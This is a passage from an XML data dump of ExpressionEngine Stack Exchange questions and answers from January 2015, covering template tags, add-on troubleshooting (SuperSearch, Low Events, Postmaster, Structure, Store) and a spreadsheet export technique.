distance_max=&quot;=&quot; &quot;&quot;}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;Any&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li style=&quot;display: none;&quot;&amp;gt; &#xA;                &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;categories[]&quot; value=&quot;6&quot; checked=&quot;chcked&quot; =&quot;&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;button type=&quot;submit&quot;&amp;gt;Western&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;       &#xA;{/exp:gmap:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;funkefied&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2015-01-20T16:50:05.420" Title="Only show locations based on categories" Tags="|google-maps-for-ee|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28564" PostTypeId="1" AcceptedAnswerId="28579" CreationDate="2015-01-20T17:14:13.477" Score="0" ViewCount="101" Body="&lt;p&gt;I am trying to figure out why my technology channel won't return any results when using keywords contained in a wygwam text field within a matrix row.  The search yields results for this section when keywords are the title of the entry, so channel is set correctly and I am receiving results.  If I search a term not contained in the title, but within the matrix field I get results from other channels, but not from my technology channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Versions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.0&lt;/li&gt;&#xA;&lt;li&gt;SuperSearch 2.2.2&lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Search template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;get&quot; action=&quot;{path=search/results/search}&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Search&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;technology_update&quot;}&#xA;        ...output content here...&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Matrix field&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{technology_rd}&lt;/code&gt; is my matrix field.  Which has &lt;code&gt;Is field searchable?&lt;/code&gt; set to &lt;code&gt;Yes&lt;/code&gt; as well as the &lt;code&gt;Is col searchable?&lt;/code&gt; checkbox selected for the wygwam textbox in the matrix row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently updated the module form 2.1.4 to 2.2.2 as I noticed a number of Matrix related improvements in the the changelog to no avail.  Any ideas what I could be missing here? Any help would be greatly appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="902" LastEditorUserId="902" LastEditDate="2015-01-20T18:32:25.290" LastActivityDate="2015-01-21T11:47:45.550" Title="Why won't SuperSearch look in Matrix field to find results?" Tags="|matrix|solspace|supersearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28565" PostTypeId="2" ParentId="5575" CreationDate="2015-01-20T17:19:49.090" Score="1" Body="&lt;p&gt;I had similar issue and solution was to add &lt;code&gt;status=&quot;not closed&quot;&lt;/code&gt; to the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag from where I had pulled custom fields (GRID in my case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout form_class=&quot;form-horizontal&quot;}&#xA;&#xA;                {items}&#xA;                    *Some code here*&#xA;                     {exp:channel:entries channel=&quot;products&quot; status=&quot;not closed&quot; dynamic=&quot;no&quot; entry_id=&quot;{entry_id}&quot;}&#xA;                      *Custom field code here*&#xA;                      {/exp:channel:entries}&#xA;                {/items}&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2015-01-20T17:19:49.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28566" PostTypeId="2" ParentId="28416" CreationDate="2015-01-20T17:40:07.023" Score="0" Body="&lt;p&gt;Having spoken to Pixel &amp;amp; Tonic:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All Wygwam does when you've got the native EE file manager selected to manage files is this:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// load the file browser&#xA;$EE-&amp;gt;load-&amp;gt;library('file_field');&#xA;$EE-&amp;gt;file_field-&amp;gt;browser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;According to the error message, the actual error is occurring in libraries/File_field.php. If I had to guess, it would be an EE bug that has to do with anything using their native file manage on the front-end.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, as a workaround, I've disabled inline validation and just added jQuery validation using Parsley. &lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2015-01-20T17:40:07.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28567" PostTypeId="1" AcceptedAnswerId="28569" CreationDate="2015-01-20T17:52:26.553" Score="0" ViewCount="82" Body="&lt;p&gt;Can I use a Low Events start date in the dynamic title on my channel form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA;    channel=&quot;training_sessions&quot;&#xA;    return=&quot;/mysite/training/announce-training/thank-you&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    secure_action=&quot;yes&quot;&#xA;    dynamic_title=&quot;Training [training_event_details:start_date format=&quot;%Y%m%d&quot;] [training_site_city] [training_site_state]&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't working. I also tried removing the &lt;code&gt;format=&quot;%Y%m%d&quot;&lt;/code&gt; bit and it still doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA;    channel=&quot;training_sessions&quot;&#xA;    return=&quot;/mysite/training/announce-training/thank-you&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    secure_action=&quot;yes&quot;&#xA;    dynamic_title=&quot;Training [training_event_details:start_date] [training_site_city] [training_site_state]&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The generated dynamic title looks like &lt;code&gt;Training [training_event_details:start_date] Minneapolis MN&lt;/code&gt; instead of the desired &lt;code&gt;Training 20150131 Minneapolis MN&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2015-01-20T18:21:39.527" Title="Low Events in a Dynamic Title on a Channel Form" Tags="|safecracker|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28568" PostTypeId="2" ParentId="28550" CreationDate="2015-01-20T18:05:08.790" Score="0" Body="&lt;p&gt;Most often these errors are caused by cross-domain ajax. Did you update URL in the general configuration to have the same https url? Since Redactor uses AJAX to upload the image, any difference in the domain will break it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/55T4m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-01-20T18:05:08.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28569" PostTypeId="2" ParentId="28567" CreationDate="2015-01-20T18:09:09.353" Score="2" Body="&lt;p&gt;I took a quick look, and Channel Form's dynamic_title feature is somewhat limited. It simply takes the raw entry data and does a find/replace in the title based on that data. No processing, no support for modifiers or parameters, nor some sort of rule or API to allow for that sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means the Low Events vars, which all use modifiers (like &lt;code&gt;{events_field:start_date}&lt;/code&gt;), aren't supported by Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you'd have to use JS to modify a (hidden) title field so you can add the start date to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the core code, you should be able fool EE by adding a (hidden) field where you enter the start date (automatically via JS or manually), which you then use in the dynamic_title parameter. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form ... dynamic_title=&quot;Training [foo]&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;foo&quot; value=&quot;20140120&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-01-20T18:21:39.527" LastActivityDate="2015-01-20T18:21:39.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28570" PostTypeId="2" ParentId="28544" CreationDate="2015-01-20T18:11:11.080" Score="0" Body="&lt;p&gt;Good new is the next version of Store will have separate order numbers from cart numbers and you will be able to customize this. Look for this in Store 2.5.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-01-20T18:11:11.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28571" PostTypeId="1" AcceptedAnswerId="28573" CreationDate="2015-01-20T19:20:48.630" Score="0" ViewCount="43" Body="&lt;p&gt;How can I get a Low Events date to display in a Postmaster parcel? I want to send an email confirmation when a user submits an upcoming training session announcement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) I tried this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parcel:training_event_details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.) I tried this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parcel:training_event_details:start_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3.) I tried this (a combination of &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/fieldtype&quot; rel=&quot;nofollow&quot;&gt;this example from Low&lt;/a&gt; and &lt;a href=&quot;https://objectivehtml.com/postmaster/parcels&quot; rel=&quot;nofollow&quot;&gt;this example from Objective HTML&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;training_sessions&quot; entry_id=&quot;{parcel:entry_id}&quot; dynamic=&quot;no&quot; status=&quot;not closed&quot;}&#xA;  {training_event_details:start_date format=&quot;%j %F %Y&quot;}{training_event_details:start_time format=&quot;, %H:%i&quot;}&#xA;  {if training_event_details:one_day == 'y'}&#xA;    {training_event_details:end_time format=&quot;&amp;amp;ndash; %H:%i&quot;}&#xA;  {if:else}&#xA;    &amp;amp;mdash;&#xA;    {training_event_details:end_date format=&quot;%j %F %Y&quot;}{training_event_details:end_time format=&quot;, %H:%i&quot;}&#xA;  {/if}&#xA;  ({training_event_details:duration})&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All methods above render blank. What am I missing? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Versions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine: 2.9.2&lt;/li&gt;&#xA;&lt;li&gt;Low Events: 1.3.1&lt;/li&gt;&#xA;&lt;li&gt;Postmaster: 1.5.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit to fix bug (mentioned by Low in comment) in code #3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;training_sessions&quot; entry_id=&quot;{parcel:entry_id}&quot; dynamic=&quot;no&quot; status=&quot;not closed&quot;}&#xA;  {training_event_details:start_date format=&quot;%j %F %Y&quot;}{training_event_details:start_time format=&quot;, %H:%i&quot;}&#xA;  {if '{training_event_details:one_day}' == 'y'}&#xA;    {training_event_details:end_time format=&quot;&amp;amp;ndash; %H:%i&quot;}&#xA;  {if:else}&#xA;    &amp;amp;mdash;&#xA;    {training_event_details:end_date format=&quot;%j %F %Y&quot;}{training_event_details:end_time format=&quot;, %H:%i&quot;}&#xA;  {/if}&#xA;  ({training_event_details:duration})&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2015-01-20T20:01:25.747" LastActivityDate="2015-01-20T20:01:25.747" Title="How to show Low Events dates in a Postmaster parcel" Tags="|postmaster|low-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28573" PostTypeId="2" ParentId="28571" CreationDate="2015-01-20T19:33:01.390" Score="0" Body="&lt;p&gt;Okay, so method #3 in my question above actually DOES work. It didn't preview correctly for the entry I was looking at but when I changed to several other entries it rendered fine. There was something goofed up with that particular entry and I've since deleted it. Anyway, sorry to waste your time, Low!&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2015-01-20T19:33:01.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28574" PostTypeId="1" CreationDate="2015-01-20T19:57:06.610" Score="1" ViewCount="104" Body="&lt;p&gt;I need help with the following query.  I'm not sure where it comes from in ExpressionEngine.  Any insight or pointers would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT `L0`.`field_id` as L0_field, `L0`.`grid_field_id` as L0_grid_field_id, `L0`.`grid_col_id` as L0_grid_col_id, `L0`.`grid_row_id` as L0_grid_row_id, `L0`.`child_id` AS L0_parent, `L0`.`parent_id` as L0_id&#xA;FROM (`exp_relationships` as L0)&#xA;LEFT JOIN `exp_relationships` as L1 ON `L0`.`parent_id` = `L1`.`parent_id` OR L1.child_id = NULL&#xA;WHERE `L0`.`grid_field_id` =  0&#xA;AND `L0`.`grid_field_id` =  0&#xA;AND `L0`.`child_id` IN (6)&#xA;ORDER BY `L0`.`order` asc\G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically 'L1.child_id = NULL'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we drop the noted constraint (which is non-functional anyways), the query completes in no time at all and uses indexing properly.   With the invalid constraint, the query takes 0.33 seconds on an idle database server, and much much longer on a busy db.&lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="343" LastEditDate="2015-01-21T00:53:41.167" LastActivityDate="2015-01-21T00:53:41.167" Title="Slow queries from ExpressionEngine" Tags="|relationships|mysql|query|slow|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28575" PostTypeId="1" AcceptedAnswerId="28578" CreationDate="2015-01-20T21:32:32.537" Score="1" ViewCount="58" Body="&lt;p&gt;Hi wondering if it's possible to do a conditional on price inside of the product tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if price &amp;gt; '0.00'} Hello {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like display different formatting if price is more than 0.00&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-01-21T01:51:38.907" Title="Conditional on price" Tags="|expresso-store|expresso|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28576" PostTypeId="2" ParentId="28575" CreationDate="2015-01-20T21:42:06.323" Score="0" Body="&lt;p&gt;Looks like this is working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if price != &quot;£0.00&quot;} Hello {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-01-20T21:42:06.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28577" PostTypeId="2" ParentId="28519" CreationDate="2015-01-20T23:12:46.220" Score="0" Body="&lt;p&gt;Thanks to Pixel &amp;amp; Tonic support, the below alteration to the plugin can support this, in case anyone is interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;third_party/assets/libraries/Assets_lib.php:765&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order_by = in_array(strtolower($order_by), array('name', 'folder', 'date', 'size', 'file_id', 'date_modified')) ? strtolower($order_by) : false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order_by = in_array(strtolower($order_by), array('name', 'folder', 'date', 'size', 'file_id', 'date_modified', 'title')) ? strtolower($order_by) : false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the switch statement on line 913, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'title':&#xA;{&#xA;    $sql .= 'ORDER BY exp_assets_files.title ' . $order_type;&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2015-01-20T23:12:46.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28578" PostTypeId="2" ParentId="28575" CreationDate="2015-01-21T01:51:38.907" Score="3" Body="&lt;p&gt;You would probably want to use &lt;code&gt;price_val&lt;/code&gt; in your conditionals since it will output just the value minus any currency formatting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if price_val &amp;gt; 0}Hello{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have a product with a price of £10.00 price_val would output 10.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add &lt;code&gt;_val&lt;/code&gt; to any of the price related tags like &lt;code&gt;{sale_price_val}&lt;/code&gt; or &lt;code&gt;{price_inc_mod_val}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All price variables are pre-formatted according to your currency formatting settings. If you want the unformatted amount, simply append _val to the variable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-21T01:51:38.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28579" PostTypeId="2" ParentId="28564" CreationDate="2015-01-21T11:47:45.550" Score="1" Body="&lt;p&gt;Was the field and Matrix columns set to &quot;searchable&quot; &lt;strong&gt;&lt;em&gt;after&lt;/em&gt;&lt;/strong&gt; creating entries with Matrix content? If so, that data might not yet be in the &lt;code&gt;exp_channel_data&lt;/code&gt; database table, in which Super Search searches. Re-saving the entries would populate &lt;code&gt;exp_channel_data&lt;/code&gt; with searchable Matrix content, and Super Search should then be able to detect the entry.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-21T11:47:45.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28581" PostTypeId="2" ParentId="28558" CreationDate="2015-01-21T15:54:41.400" Score="2" Body="&lt;p&gt;One really flexible and simple shortcut to exporting a .xls spreadsheet of Channel data is to generate an html table using an ExpressionEngine template, save the page as a file, and then open the file with MS Excel. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a template (eg &lt;code&gt;export.group/index.html&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Output all the necessary data using a &lt;code&gt;channel:entries&lt;/code&gt; loop and any other necessary template tags. &lt;/li&gt;&#xA;&lt;li&gt;Load this template on the front end in your browser (above example template would load at &lt;code&gt;example.com/export&lt;/code&gt;) &lt;/li&gt;&#xA;&lt;li&gt;Either save the webpage as a file and &lt;em&gt;manually&lt;/em&gt; set the file extension to &lt;code&gt;.xls&lt;/code&gt; or use the &lt;a href=&quot;https://github.com/rsanchez/http_header&quot; rel=&quot;nofollow&quot;&gt;HTTP Header&lt;/a&gt; plugin to automatically force download and set the appropriate file extension for you. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example template code including force download of &lt;code&gt;.xls&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:http_header &#xA;    content_disposition=&quot;attachment&quot; &#xA;    filename=&quot;myfile.xls&quot; &#xA;    content_type=&quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;&#xA;}&#xA;&amp;lt;table&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Entry ID&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Title&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Author&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Created&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Updated&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Status&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Tool File&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Tool URL&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        {exp:channel:entries&#xA;            channel=&quot;tools&quot;&#xA;            disable=&quot;category_fields|member_data|pagination&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit=&quot;999&quot;&#xA;        }&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{entry_id}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{author}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{entry_date format=&quot;%Y-%m-%d-%H:%i&quot;}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{edit_date format=&quot;%Y-%m-%d-%H:%i&quot;}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{status}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{tool_file}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{tool_url}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-01-21T17:53:53.850" LastActivityDate="2015-01-21T17:53:53.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28583" PostTypeId="1" AcceptedAnswerId="28597" CreationDate="2015-01-21T17:13:50.013" Score="0" ViewCount="83" Body="&lt;p&gt;I need to set multiple fields as &quot;required&quot; in Channel Form/Zoo Visitor, but I can't find anything in the documentation that describes how to do this. I can't set the fields to be required in the CP because validation needs to happen at form level, not entry level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the following works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rules:field_1|field_2=“required&quot;&#xA;rules:field_1=“required&quot;|field_2=“required&quot;&#xA;rules:field_1=“required&quot; rules:field_2=“required&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2015-01-22T13:21:46.657" Title="Multiple required fields in Channel Form without setting required in CP" Tags="|safecracker|zoo-visitor|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28584" PostTypeId="1" AcceptedAnswerId="28591" CreationDate="2015-01-21T17:35:13.613" Score="0" ViewCount="57" Body="&lt;p&gt;I have a section set up to display contents based on category URL information and it works great. However, when I do a search, the search result URL has a unique value in segment_4 that doesn't fit into any of the designated categories:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://rouviere.com/photo/image/fall-colors-alpine-loop-utah9/5918ab43c62403abdef86474b6228f32&quot; rel=&quot;nofollow&quot;&gt;http://rouviere.com/photo/image/fall-colors-alpine-loop-utah9/5918ab43c62403abdef86474b6228f32&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case I would prefer to hide the conditional content, but I am not sure how to work that segment_4 value into a conditional since it will change with each search return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking along the lines of &lt;strong&gt;only display the content if segment_4 is not a number&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-01-21T23:17:43.830" Title="How do I write a conditional based on search results?" Tags="|conditionals|advanced-conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28586" PostTypeId="2" ParentId="28584" CreationDate="2015-01-21T20:41:25.950" Score="0" Body="&lt;p&gt;If you don't already have URL Helper ( &lt;a href=&quot;https://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/url-helper&lt;/a&gt; ) or Seg2Cat ( &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat/&lt;/a&gt; ) installed, I'd suggest installing URL Helper (they both use the same syntax; URL Helper has a few more variables, so that's the one I'd recommend getting; both are free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've got that, you'll have access to a couple of new variables you can use for some conditionals to test whether or not segment 4 (or any other segment) is a valid category or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect you could use something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{last_segment_category_id}&quot; == &quot;&quot;}The last segment is not a category{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and work out a way to achieve what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-01-21T20:41:25.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28587" PostTypeId="1" CreationDate="2015-01-21T21:16:23.453" Score="0" ViewCount="368" Body="&lt;p&gt;I have a scenario where I want 3 levels to show in my main menu, except for one specific level 2 page where I don't want to show its children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using hard-coded IDs works fine, eg:&#xA;{exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;3&quot; exclude=&quot;100|101|102&quot; }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I replace the hard coded IDs with the structure tag that generates these IDs, it doesn't work:&#xA;{exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;3&quot; exclude=&quot;{structure:child_ids_for:14}&quot; }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?  I've also tried using snippets and and embedded template and neither work, though a snippet does work when the hard-coded IDs are in the snippet, just not when {structure:child_ids_for:5} is in the snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I've tried using embeds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the header:&lt;br&gt;&#xA;{embed=&quot;embeds/main_menu&quot; hideStudentPages=&quot;{structure:child_ids_for:14}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the embed:&lt;/p&gt;&#xA;&#xA;&#xA;    {exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;3&quot; include_ul=&quot;no&quot; add_level_classes=&quot;yes&quot; show_overview=&quot;yes&quot; exclude=&quot;{embed:hideStudentPages}&quot; }&#xA;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Justin&lt;/p&gt;&#xA;" OwnerUserId="3113" LastEditorUserId="3113" LastEditDate="2015-01-22T17:10:14.210" LastActivityDate="2023-01-24T21:07:30.920" Title="Other structure tags not working inside {exp:structure:nav} tag" Tags="|structure|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
